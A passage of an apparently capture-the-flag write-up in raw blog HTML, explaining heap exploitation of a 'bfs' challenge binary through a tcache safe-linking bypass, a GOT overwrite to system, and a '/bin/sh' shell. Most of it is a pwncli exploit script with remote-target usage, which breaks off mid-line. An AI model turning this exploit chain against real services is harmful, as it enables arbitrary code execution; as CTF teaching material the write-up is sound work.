class="n">sl</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">from_</span><span class="si">}</span><span class="s2"> </span><span class="si">{</span><span class="n">num</span><span class="o">-</span><span class="mi">1</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">ru</span><span class="p">(</span><span class="s2">&#34;Testcase #&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">push_nodes</span><span class="p">()</span></span></span></code></pre></td></tr></table> </div> </div><p>On the other hand, we can specify <code>n = 0</code>, then the queue is cleared and trigger free chunks.</p> <h3 class="heading-element" id="2-5-leak-heap-address-and-hijack-tcache-next"><span>2-5 leak heap address and hijack tcache-&gt;next</span> <a href="#2-5-leak-heap-address-and-hijack-tcache-next" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p>We have to pass safe linking in tcache bins. After controlling the allocation of chunks by <code>std:queue</code>, put one chunk in tcache bins and leak heap address by <code>parent</code> overflow. Then, put two chunks at tcache bins and modify the <code>tcache-&gt;next</code> by <code>adj_matrix</code> overflow. Now we can allocate at arbitrary address.</p> <p>I choose to allocate at <code>0x4073e0</code>, the address of <code>adj_matrix</code>, and makes <code>adj_matrix</code> be zero.</p> <h3 class="heading-element" id="2-6-calculate-the-appropriate-i-and-j-for-adj_matrix"><span>2-6 Calculate the Appropriate I and J for Adj_matrix</span> <a href="#2-6-calculate-the-appropriate-i-and-j-for-adj_matrix" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p>Now the <code>adj_matrix</code> is <code>0</code>, the problem is how to change the content of target address by <code>adj_matrix</code> overflow. It&rsquo;s just a basic quadratic equation.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">256 * i + j = t1 (1) </span></span><span class="line"><span class="cl">i + 256 * j = t2 (2)</span></span></code></pre></td></tr></table> </div> </div><p>As we know the address of heap area, let <code>t1 = got.plt address</code> and <code>t2 = heap address</code>. When <code>j</code> increases <code>1</code>, the <code>equation (2)</code> would increases <code>256</code>, the heap area is large enough and <code>t2 + 256 * X</code> is always writable.</p> <p>snippet:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">func11</span><span class="p">(</span><span class="n">t1</span><span class="p">,</span> <span class="n">t2</span><span class="p">):</span> </span></span><span class="line"><span class="cl"> <span class="n">y</span> <span class="o">=</span> <span class="p">(</span><span class="mi">256</span> <span class="o">*</span> <span class="n">t2</span> <span class="o">-</span> <span class="n">t1</span><span class="p">)</span> <span class="o">//</span><span class="p">(</span><span class="mi">256</span> <span class="o">*</span> <span class="mi">256</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">x</span> <span class="o">=</span> <span class="n">t2</span> <span class="o">-</span> <span class="mi">256</span> <span class="o">*</span> <span class="n">y</span> </span></span><span class="line"><span class="cl"> <span class="n">x</span> <span class="o">=</span> <span class="p">(</span><span class="n">t1</span> <span class="o">-</span> <span class="n">y</span><span class="p">)</span> <span class="o">//</span> <span class="mi">256</span> </span></span><span class="line"><span class="cl"> <span class="n">y</span> <span class="o">=</span> <span class="n">t1</span> <span class="o">-</span> <span class="mi">256</span> <span class="o">*</span> <span class="n">x</span> </span></span><span class="line"><span class="cl"> <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;x: </span><span class="si">{</span><span class="n">x</span><span class="si">}</span><span class="s2">, y: </span><span class="si">{</span><span class="n">y</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># 0x407048 --&gt; got.plt@~basic_string</span> </span></span><span class="line"><span class="cl"><span class="n">x</span><span class="p">,</span> <span class="n">y</span> <span class="o">=</span> <span class="n">func11</span><span class="p">(</span><span class="mh">0x407048</span><span class="p">,</span> <span class="n">heap_base</span><span class="p">)</span></span></span></code></pre></td></tr></table> </div> </div><p>Then, write <code>got.plt@std::__cxx11::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;::~basic_string</code> to <code>0x401925</code>:</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20221003101918347.png' alt="image-20221003101918347"></p> <p>add <code>got.plt@std::ios_base::Init::Init</code> to <code>system</code> and write <code>/bin/sh</code> at <code>std::__ioinit</code>. BTW, <code>std::__ioint</code> is on the top of <code>adj_matrix</code></p> <p>When the loop ends, <code>~basic_string</code> will be called.</p> <h3 class="heading-element" id="2-7-get-shell"><span>2-7 Get Shell</span> <a href="#2-7-get-shell" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p>The layout of got table and <code>std::__ioinit</code>:</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20221003102526725.png' alt="image-20221003102526725"></p> <p>The operation of <code>xmm</code> register fails when call system, so I use the address of <code>call do_system</code>.</p> <p>Pop shell:</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20221003102845084.png' alt="image-20221003102845084"></p> <h3 class="heading-element" id="2-8-exp"><span>2-8 EXP</span> <a href="#2-8-exp" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt"> 10 </span><span class="lnt"> 11 </span><span class="lnt"> 12 </span><span class="lnt"> 13 </span><span class="lnt"> 14 </span><span class="lnt"> 15 </span><span class="lnt"> 16 </span><span class="lnt"> 17 </span><span class="lnt"> 18 </span><span class="lnt"> 19 </span><span class="lnt"> 20 </span><span class="lnt"> 21 </span><span class="lnt"> 22 </span><span class="lnt"> 23 </span><span class="lnt"> 24 </span><span class="lnt"> 25 </span><span class="lnt"> 26 </span><span class="lnt"> 27 </span><span class="lnt"> 28 </span><span class="lnt"> 29 </span><span class="lnt"> 30 </span><span class="lnt"> 31 </span><span class="lnt"> 32 </span><span class="lnt"> 33 </span><span class="lnt"> 34 </span><span class="lnt"> 35 </span><span class="lnt"> 36 </span><span class="lnt"> 37 </span><span class="lnt"> 38 </span><span class="lnt"> 39 </span><span class="lnt"> 40 </span><span class="lnt"> 41 </span><span class="lnt"> 42 </span><span class="lnt"> 43 </span><span class="lnt"> 44 </span><span class="lnt"> 45 </span><span class="lnt"> 46 </span><span class="lnt"> 47 </span><span class="lnt"> 48 </span><span class="lnt"> 49 </span><span class="lnt"> 50 </span><span class="lnt"> 51 </span><span class="lnt"> 52 </span><span class="lnt"> 53 </span><span class="lnt"> 54 </span><span class="lnt"> 55 </span><span class="lnt"> 56 </span><span class="lnt"> 57 </span><span class="lnt"> 58 </span><span class="lnt"> 59 </span><span class="lnt"> 60 </span><span class="lnt"> 61 </span><span class="lnt"> 62 </span><span class="lnt"> 63 </span><span class="lnt"> 64 </span><span class="lnt"> 65 </span><span class="lnt"> 66 </span><span class="lnt"> 67 </span><span class="lnt"> 68 </span><span class="lnt"> 69 </span><span class="lnt"> 70 </span><span class="lnt"> 71 </span><span class="lnt"> 72 </span><span class="lnt"> 73 </span><span class="lnt"> 74 </span><span class="lnt"> 75 </span><span class="lnt"> 76 </span><span class="lnt"> 77 </span><span class="lnt"> 78 </span><span class="lnt"> 79 </span><span class="lnt"> 80 </span><span class="lnt"> 81 </span><span class="lnt"> 82 </span><span class="lnt"> 83 </span><span class="lnt"> 84 </span><span class="lnt"> 85 </span><span class="lnt"> 86 </span><span class="lnt"> 87 </span><span class="lnt"> 88 </span><span class="lnt"> 89 </span><span class="lnt"> 90 </span><span class="lnt"> 91 </span><span class="lnt"> 92 </span><span class="lnt"> 93 </span><span class="lnt"> 94 </span><span class="lnt"> 95 </span><span class="lnt"> 96 </span><span class="lnt"> 97 </span><span class="lnt"> 98 </span><span class="lnt"> 99 </span><span class="lnt">100 </span><span class="lnt">101 </span><span class="lnt">102 </span><span class="lnt">103 </span><span class="lnt">104 </span><span class="lnt">105 </span><span class="lnt">106 </span><span class="lnt">107 </span><span class="lnt">108 </span><span class="lnt">109 </span><span class="lnt">110 </span><span class="lnt">111 </span><span class="lnt">112 </span><span class="lnt">113 </span><span class="lnt">114 </span><span class="lnt">115 </span><span class="lnt">116 </span><span class="lnt">117 </span><span class="lnt">118 </span><span class="lnt">119 </span><span class="lnt">120 </span><span class="lnt">121 </span><span class="lnt">122 </span><span class="lnt">123 </span><span class="lnt">124 </span><span class="lnt">125 </span><span class="lnt">126 </span><span class="lnt">127 </span><span class="lnt">128 </span><span class="lnt">129 </span><span class="lnt">130 </span><span class="lnt">131 </span><span class="lnt">132 </span><span class="lnt">133 </span><span class="lnt">134 </span><span class="lnt">135 </span><span class="lnt">136 </span><span class="lnt">137 </span><span class="lnt">138 </span><span class="lnt">139 </span><span class="lnt">140 </span><span class="lnt">141 </span><span class="lnt">142 </span><span class="lnt">143 </span><span class="lnt">144 </span><span class="lnt">145 </span><span class="lnt">146 </span><span class="lnt">147 </span><span class="lnt">148 </span><span class="lnt">149 </span><span class="lnt">150 </span><span class="lnt">151 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="ch">#!/usr/bin/env python3</span> </span></span><span class="line"><span class="cl"><span class="c1"># Date: 2022-10-02 08:23:47</span> </span></span><span class="line"><span class="cl"><span class="c1"># Link: https://github.com/RoderickChan/pwncli</span> </span></span><span class="line"><span class="cl"><span class="c1"># Usage:</span> </span></span><span class="line"><span class="cl"><span class="c1"># Debug : python3 exp.py debug ./bfs -t -b 0x401925</span> </span></span><span class="line"><span class="cl"><span class="c1"># Remote: python3 exp.py remote ./bfs ip:port</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwncli</span> <span class="kn">import</span> <span class="o">*</span> </span></span><span class="line"><span class="cl"><span class="n">cli_script</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">arch</span><span class="o">=</span><span class="s2">&#34;amd64&#34;</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">io</span><span class="p">:</span> <span class="n">tube</span> <span class="o">=</span> <span class="n">gift</span><span class="o">.</span><span class="n">io</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">push_nodes</span><span class="p">(</span><span class="n">from_</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span> <span class="n">num</span><span class="o">=</span><span class="mi">256</span><span class="p">):</span> </span></span><span class="line"><span class="cl"> <span class="n">sl</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">num</span><span class="si">}</span><span class="s2"> </span><span class="si">{</span><span class="n">num</span><span class="o">-</span><span class="mi">1</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">num</span><span class="p">):</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="n">i</span> <span class="o">==</span> <span class="n">from_</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="k">continue</span> </span></span><span class="line"><span class="cl"> <span class="n">sl</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">from_</span><span class="si">}</span><span class="s2"> </span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="n">sl</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">from_</span><span class="si">}</span><span class="s2"> </span><span class="si">{</span><span class="n">num</span><span class="o">-</span><span class="mi">1</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">ru</span><span class="p">(</span><span class="s2">&#34;Testcase #&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">clear_queue_and_adjmatrix</span><span class="p">(</span><span class="n">dest</span><span class="o">=</span><span class="mi">0</span><span class="p">):</span> </span></span><span class="line"><span class="cl"> <span class="n">sl</span><span class="p">(</span><span class="s2">&#34;256 0&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">sl</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;0 </span><span class="si">{</span><span class="n">dest</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">ru</span><span class="p">(</span><span class="s2">&#34;Testcase #&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># count</span> </span></span><span class="line"><span class="cl"><span class="n">sl</span><span class="p">(</span><span class="s2">&#34;42&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">push_nodes</span><span class="p">()</span> </span></span><span class="line"><span class="cl"><span class="n">push_nodes</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># clear</span> </span></span><span class="line"><span class="cl"><span class="n">clear_queue_and_adjmatrix</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">push_nodes</span><span class="p">()</span> </span></span><span class="line"><span class="cl"><span class="n">push_nodes</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">clear_queue_and_adjmatrix</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">heap_base</span> <span class="o">=</span> <span class="mi">0</span> </span></span><span class="line"><span class="cl"><span class="n">clear_queue_and_adjmatrix</span><span class="p">(</span><span class="mh">0x11130</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">m</span> <span class="o">=</span> <span class="n">rls</span><span class="p">(</span><span class="s2">&#34;6:&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">split</span><span class="p">()</span> </span></span><span class="line"><span class="cl"><span class="n">heap_base</span> <span class="o">+=</span> <span class="p">(</span><span class="n">int_ex</span><span class="p">(</span><span class="n">m</span><span class="p">[</span><span class="mi">2</span><span class="p">])</span> <span class="o">&lt;&lt;</span> <span class="mi">12</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">clear_queue_and_adjmatrix</span><span class="p">(</span><span class="mh">0x11131</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">m</span> <span class="o">=</span> <span class="n">rls</span><span class="p">(</span><span class="s2">&#34;7:&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">split</span><span class="p">()</span> </span></span><span class="line"><span class="cl"><span class="n">heap_base</span> <span class="o">+=</span> <span class="p">(</span><span class="n">int_ex</span><span class="p">(</span><span class="n">m</span><span class="p">[</span><span class="mi">2</span><span class="p">])</span> <span class="o">&lt;&lt;</span> <span class="mi">20</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">clear_queue_and_adjmatrix</span><span class="p">(</span><span class="mh">0x11132</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">m</span> <span class="o">=</span> <span class="n">rls</span><span class="p">(</span><span class="s2">&#34;8:&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">split</span><span class="p">()</span> </span></span><span class="line"><span class="cl"><span class="n">heap_base</span> <span class="o">+=</span> <span class="p">(</span><span class="n">int_ex</span><span class="p">(</span><span class="n">m</span><span class="p">[</span><span class="mi">2</span><span class="p">])</span> <span class="o">&lt;&lt;</span> <span class="mi">28</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">heap_base</span> <span class="o">-=</span> <span class="mh">0x23000</span> </span></span><span class="line"><span class="cl"><span class="n">log_address_ex</span><span class="p">(</span><span class="s2">&#34;heap_base&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">push_nodes</span><span class="p">()</span> </span></span><span class="line"><span class="cl"><span class="n">push_nodes</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">push_nodes</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">push_nodes</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">push_nodes</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">clear_queue_and_adjmatrix</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">off</span> <span class="o">=</span> <span class="mh">0x11020</span> </span></span><span class="line"><span class="cl"><span class="n">ori_content</span> <span class="o">=</span> <span class="p">((</span><span class="n">heap_base</span> <span class="o">+</span> <span class="mh">0x23350</span><span class="p">)</span> <span class="o">&gt;&gt;</span> <span class="mi">12</span><span class="p">)</span> <span class="o">^</span> <span class="p">(</span><span class="n">heap_base</span> <span class="o">+</span> <span class="mh">0x11f00</span><span class="p">)</span> <span class="c1">#</span> </span></span><span class="line"><span class="cl"><span class="n">write_content</span> <span class="o">=</span> <span class="p">((</span><span class="n">heap_base</span> <span class="o">+</span> <span class="mh">0x23350</span><span class="p">)</span> <span class="o">&gt;&gt;</span> <span class="mi">12</span><span class="p">)</span> <span class="o">^</span> <span class="mh">0x4073e0</span> <span class="c1"># adj_matrix</span> </span></span><span class="line"><span class="cl"><span class="n">log_address_ex</span><span class="p">(</span><span class="s2">&#34;ori_content&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">log_address_ex</span><span class="p">(</span><span class="s2">&#34;write_content&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># 272 * 256 + 32 = 0x1120</span> </span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">):</span> </span></span><span class="line"><span class="cl"> <span class="n">ori1</span> <span class="o">=</span> <span class="n">ori_content</span> <span class="o">&amp;</span> <span class="mh">0xff</span> </span></span><span class="line"><span class="cl"> <span class="n">wri1</span> <span class="o">=</span> <span class="n">write_content</span> <span class="o">&amp;</span> <span class="mh">0xff</span> </span></span><span class="line"><span class="cl"> <span class="n">ori_content</span> <span class="o">&gt;&gt;=</span> <span class="mi">8</span> </span></span><span class="line"><span class="cl"> <span class="n">write_content</span> <span class="o">&gt;&gt;=</span> <span class="mi">8</span> </span></span><span class="line"><span class="cl"> <span class="n">times</span> <span class="o">=</span> <span class="n">wri1</span> <span class="o">-</span> <span class="n">ori1</span> <span class="k">if</span> <span class="n">wri1</span> <span class="o">&gt;=</span> <span class="n">ori1</span> <span class="k">else</span> <span class="n">wri1</span> <span class="o">-</span> <span class="n">ori1</span> <span class="o">+</span> <span class="mh">0x100</span> </span></span><span class="line"><span class="cl"> <span class="n">sl</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;0 </span><span class="si">{</span><span class="n">times</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">times</span><span class="p">):</span> </span></span><span class="line"><span class="cl"> <span class="n">sl</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;272 </span><span class="si">{</span><span class="n">i</span><span class="o">+</span><span class="mi">32</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">sl</span><span class="p">(</span><span class="s2">&#34;0 0&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">push_nodes</span><span class="p">()</span> </span></span><span class="line"><span class="cl"><span class="n">push_nodes</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">push_nodes</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mh">0xf6</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">data</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">+</span><span class="sa">b</span><span class="s2">&#34;/bin/sh&#34;</span> </span></span><span class="line"><span class="cl"><span class="c1"># nodes edges</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">data</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="n">sl</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;0 0&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">sl</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">x</span><span class="si">}</span><span class="s2"> 0&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">ru</span><span class="p">(</span><span class="s2">&#34;Testcase #&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">func11</span><span class="p">(</span><span class="n">t1</span><span class="p">,</span> <span class="n">t2</span><span class="p">):</span> </span></span><span class="line"><span class="cl"> <span class="n">y</span> <span class="o">=</span> <span class="p">(</span><span class="mi">256</span> <span class="o">*</span> <span class="n">t2</span> <span class="o">-</span> <span class="n">t1</span><span class="p">)</span> <span class="o">//</span><span class="p">(</span><span class="mi">256</span> <span class="o">*</span> <span class="mi">256</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">x</span> <span class="o">=</span> <span class="n">t2</span> <span class="o">-</span> <span class="mi">256</span> <span class="o">*</span> <span class="n">y</span> </span></span><span class="line"><span class="cl"> <span class="n">x</span> <span class="o">=</span> <span class="p">(</span><span class="n">t1</span> <span class="o">-</span> <span class="n">y</span><span class="p">)</span> <span class="o">//</span> <span class="mi">256</span> </span></span><span class="line"><span class="cl"> <span class="n">y</span> <span class="o">=</span> <span class="n">t1</span> <span class="o">-</span> <span class="mi">256</span> <span class="o">*</span> <span class="n">x</span> </span></span><span class="line"><span class="cl"> <span class="n">log_ex</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;x: </span><span class="si">{</span><span class="n">x</span><span class="si">}</span><span class="s2">, y: </span><span class="si">{</span><span class="n">y</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">x</span><span class="p">,</span> <span class="n">y</span> <span class="o">=</span> <span class="n">func11</span><span class="p">(</span><span class="mh">0x407048</span><span class="p">,</span> <span class="n">heap_base</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">ori_content</span> <span class="o">=</span> <span class="mh">0x401090</span> </span></span><span class="line"><span class="cl"><span class="n">write_content</span> <span class="o">=</span> <span class="mh">0x401925</span> </span></span><span class="line"><span class="cl"><span class="n">log_address_ex</span><span class="p">(</span><span class="s2">&#34;ori_content&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">log_address_ex</span><span class="p">(</span><span class="s2">&#34;write_content&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">3</span><span class="p">):</span> </span></span><span class="line"><span class="cl"> <span class="n">ori1</span> <span class="o">=</span> <span class="n">ori_content</span> <span class="o">&amp;</span> <span class="mh">0xff</span> </span></span><span class="line"><span class="cl"> <span class="n">wri1</span> <span class="o">=</span> <span class="n">write_content</span> <span class="o">&amp;</span> <span class="mh">0xff</span> </span></span><span class="line"><span class="cl"> <span class="n">ori_content</span> <span class="o">&gt;&gt;=</span> <span class="mi">8</span> </span></span><span class="line"><span class="cl"> <span class="n">write_content</span> <span class="o">&gt;&gt;=</span> <span class="mi">8</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="n">ori1</span> <span class="o">==</span> <span class="n">wri1</span><span 